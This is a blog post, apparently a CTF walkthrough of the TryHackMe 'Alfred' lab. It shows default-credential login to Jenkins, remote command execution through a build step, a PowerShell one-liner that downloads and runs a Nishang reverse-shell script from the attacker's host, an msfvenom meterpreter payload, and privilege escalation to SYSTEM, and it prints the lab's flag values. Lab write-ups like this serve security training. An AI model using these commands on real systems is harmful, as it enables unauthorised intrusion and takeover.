{"id":130837,"date":"2022-12-25T10:35:58","date_gmt":"2022-12-25T10:35:58","guid":{"rendered":"https:\/\/blog.finxter.com\/?p=1000191"},"modified":"2022-12-25T10:35:58","modified_gmt":"2022-12-25T10:35:58","slug":"tryhackme-alfred-how-i-solved-the-challenge-video","status":"publish","type":"post","link":"https:\/\/sickgaming.net\/blog\/2022\/12\/25\/tryhackme-alfred-how-i-solved-the-challenge-video\/","title":{"rendered":"TryHackMe Alfred \u2013 How I Solved The Challenge [+Video]"},"content":{"rendered":"\n<div class=\"kk-star-ratings kksr-auto kksr-align-left kksr-valign-top\" data-payload='{&quot;align&quot;:&quot;left&quot;,&quot;id&quot;:&quot;1000191&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;top&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;1&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;Rate this post&quot;,&quot;legend&quot;:&quot;5\\\/5 - (1 vote)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n<div class=\"kksr-stars\">\n<div class=\"kksr-stars-inactive\">\n<div class=\"kksr-star\" data-star=\"1\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"2\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"3\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"4\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" data-star=\"5\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"kksr-stars-active\" style=\"width: 142.5px;\">\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<div class=\"kksr-star\" style=\"padding-right: 5px\">\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n<\/p><\/div>\n<\/p><\/div>\n<\/div>\n<div class=\"kksr-legend\" style=\"font-size: 19.2px;\"> 5\/5 &#8211; (1 vote) <\/div>\n<\/p><\/div>\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube\"><a href=\"https:\/\/blog.finxter.com\/tryhackme-alfred-how-i-solved-the-challenge\/\"><img decoding=\"async\" src=\"https:\/\/blog.finxter.com\/wp-content\/plugins\/wp-youtube-lyte\/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2FGkMOsGp6mco%2Fhqdefault.jpg\" alt=\"YouTube Video\"><\/a><figcaption><\/figcaption><\/figure>\n<p>In this Capture the Flag (CTF) challenge walkthrough, I&#8217;ll hack into a windows service called Jenkins, find a way to carry out Remote Command Execution (RCE) by using Metasploit to gain access to the box and escalate my privileges to the NT AUTHORITY\/SYSTEM, which is the equivalent of <code>root<\/code> on a Windows machine. <\/p>\n<p class=\"has-global-color-8-background-color has-background\"><img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/2694.png\" alt=\"\u2694\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/> <strong>Challenge<\/strong>: I need to capture two &#8220;flags&#8221;, the <code>user.txt<\/code> flag and the <code>root.txt<\/code> flag. Let\u2019s get started!<\/p>\n<p>First, we\u2019ll note down our IP addresses, export them, and run our nmap scan with the flag -Pn to skip host discovery.<\/p>\n<h2>INITIAL ENUMERATION<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"956\" height=\"637\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-315.png\" alt=\"\" class=\"wp-image-1000265\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-315.png 956w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-315-300x200.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-315-768x512.png 768w\" sizes=\"auto, (max-width: 956px) 100vw, 956px\" \/><\/figure>\n<\/div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">IPs\nexport myIP=10.6.2.23\nexport targetIP=10.10.99.176 \u250c\u2500\u2500(tester\u327fbox)-[~\/THM]\n\u2514\u2500$ nmap 10.10.216.90 -Pn\nStarting Nmap 7.93 ( https:\/\/nmap.org ) at 2022-12-10 22:39 EST\nNmap scan report for 10.10.216.90\nHost is up (0.083s latency).\nNot shown: 997 filtered tcp ports (no-response)\nPORT STATE SERVICE\n80\/tcp open http\n3389\/tcp open ms-wbt-server\n8080\/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds\n<\/pre>\n<p>We see that there are three open ports. <\/p>\n<p>There is an HTTP service running on port 80. That is presumably a website that we will look at in a moment on our browser. <\/p>\n<p>The <code>ms-wbt-server<\/code> running on port 3389 looks interesting. A quick google search reveals that it has something to do with the RDP (remote desktop protocol). <\/p>\n<p>Also, the <code>http-proxy<\/code> on 8080 looks intriguing. On port 80 we find a picture of batman in plainclothes. There\u2019s not much here to see. A quick look at the source HTML code doesn\u2019t reveal anything else interesting.<\/p>\n<h2>HACKING JENKINS WITH BURPSUITE<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"955\" height=\"637\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-317.png\" alt=\"\" class=\"wp-image-1000275\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-317.png 955w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-317-300x200.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-317-768x512.png 768w\" sizes=\"auto, (max-width: 955px) 100vw, 955px\" \/><\/figure>\n<\/div>\n<p>On port 8080, we find a login page to Jenkins.<\/p>\n<p>Let\u2019s take a few guesses with some of the standard factory-set passwords: <code>admin:password<\/code>, <code>admin:admin<\/code>, etc. <\/p>\n<p>Using the proxy intercept and sending it to the intruder function, we can set up a list of passwords and usernames to try as a sniper-style attack. <\/p>\n<p>Based on the different lengths of the responses, we can see that <code>admin:admin<\/code> may be our winning combination. We are in luck that this company has lazy administrators who don\u2019t properly safeguard their business! The system lets us in as expected with <code>admin:admin<\/code>.<\/p>\n<p>At TryHackMe\u2019s suggestion, we&#8217;ll use Nishang for spawning a <code>revshell<\/code> from windows. Inside the Jenkins admin dashboard, we can click on project 1 and then edit configure. <\/p>\n<p>In the last text box, we can perform remote command execution.&nbsp;<\/p>\n<h2>USING REMOTE COMMAND EXECUTION TO SPAWN A REVSHELL PAYLOAD<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"425\" height=\"637\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-316.png\" alt=\"\" class=\"wp-image-1000272\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-316.png 425w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-316-200x300.png 200w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure>\n<\/div>\n<p>First, let\u2019s spawn a reverse shell using <code>PowerShellTcp.ps1<\/code> from <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/samratashok\/nishang\/blob\/master\/Shells\/Invoke-PowerShellTcp.ps1\" target=\"_blank\">nishang\u2019s git repo<\/a>. After downloading the file from the git repo, we launch a Netcat listener with the command:&nbsp;<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">nc -lnvp 8888<\/pre>\n<p>Then we use the following command in the last text box on Jenkins project 1 settings.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">powershell iex (New-Object Net.WebClient).DownloadString('http:\/\/10.6.2.23:8000\/Invoke-PowerShellTcp.ps1'>\n<\/pre>\n<p>After clicking on \u201c<code>build<\/code>\u201d in the Jenkin\u2019s dashboard, we catch the shell on our Netcat listener and discover the <code>user.txt<\/code> flag!<\/p>\n<pre class=\"wp-block-preformatted\"><code>!!!\n<strong>user.txt:<\/strong>\n79007a09481963edf2e1321abd9ae2a0\n!!!<\/code>\n<\/pre>\n<h2>USING MSFVENOM TO CREATE A MALICIOUS PAYLOAD<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"425\" height=\"637\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-318.png\" alt=\"\" class=\"wp-image-1000279\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-318.png 425w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-318-200x300.png 200w\" sizes=\"auto, (max-width: 425px) 100vw, 425px\" \/><\/figure>\n<\/div>\n<p>We can create a custom malicious payload to enable us to connect to a more powerful reverse shell within Metasploit using the following command in our attack box:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sudo msfvenom -p windows\/meterpreter\/reverse_tcp -a x86 &#8211; encoder x86\/shikata_ga_nai LHOST=10.6.2.23 LPORT=4444 -f exe -o shell.exe<\/pre>\n<p>Now we need to start up Metasploit console:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Msfconsole<\/pre>\n<p>Load the meterpreter exploit\/multi\/handler:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">use exploit\/multi\/handler<\/pre>\n<p>Set up our payload:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">set payload windows\/meterpreter\/reverse_tcp payload<\/pre>\n<p>And finally, type: <code>run<\/code><\/p>\n<p>First, we\u2019ll spin up a simple HTTP server to copy <code>shell.exe<\/code> to windows with:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python -m http.server 8000<\/pre>\n<p>Then we can copy and run the file on the target machine by again using remote command execution via the Jenkins edit build function:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">powershell \"(New-Object System.Net.WebClient).Downloadfile('http:\/\/10.6.2.23:8000\/shell.exe','shell.exe')\"<\/pre>\n<p>And Metasploit successfully launches a new meterpreter session on the target box. If the <code>shell.exe<\/code> file is grabbed successfully from the HTTP server (code 200), but no meterpreter shell is spawned, we can use one more Jenkins RCE to run the revshell:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">.\/shell.exe<\/pre>\n<h2>PRIVILEGE ESCALATION TO ROOT<\/h2>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"956\" height=\"637\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-319.png\" alt=\"\" class=\"wp-image-1000292\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-319.png 956w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-319-300x200.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2022\/12\/image-319-768x512.png 768w\" sizes=\"auto, (max-width: 956px) 100vw, 956px\" \/><\/figure>\n<\/div>\n<p>First, we issue the following command in our meterpreter to automatically escalate to the highest privilege possible:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">getsystem<\/pre>\n<p>We now operate with NT AUTHORITY\/SYSTEM privileges for most things, but not every single command. To fix this, we can migrate to another process on the target machine. <\/p>\n<p>Entering the command \u201c<code>ps<\/code>\u201d will give us a list of processes. We\u2019ll use the process <code>system.exe<\/code> with the following command:<\/p>\n<p><code>migrate &lt;PID&gt;<\/code> (process id of the target process running by NT AUTHORITY\/SYSTEM, in this case <code>system.exe<\/code>)<\/p>\n<p>Now we are running metasploit in the RAM of our target machine on the <code>system.exe<\/code> process. We have full NT AUTHORITY\/SYSTEM privileges and can easily find <code>root.txt<\/code> with the following command:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">find -f root.txt cat root.txt\n\ufffd\ufffddff0f748678f280250f25a45b8046b4a\n<\/pre>\n<p>Thanks for reading\/watching my walkthrough. <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/1f64f.png\" alt=\"\ud83d\ude4f\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>5\/5 &#8211; (1 vote) In this Capture the Flag (CTF) challenge walkthrough, I&#8217;ll hack into a windows service called Jenkins, find a way to carry out Remote Command Execution (RCE) by using Metasploit to gain access to the box and escalate my privileges to the NT AUTHORITY\/SYSTEM, which is the equivalent of root on a [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[857],"tags":[73,468,528],"class_list":["post-130837","post","type-post","status-publish","format-standard","hentry","category-python-tut","tag-programming","tag-python","tag-tutorial"],"_links":{"self":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/130837","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/comments?post=130837"}],"version-history":[{"count":0,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/posts\/130837\/revisions"}],"wp:attachment":[{"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/media?parent=130837"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/categories?post=130837"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sickgaming.net\/blog\/wp-json\/wp\/v2\/tags?post=130837"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}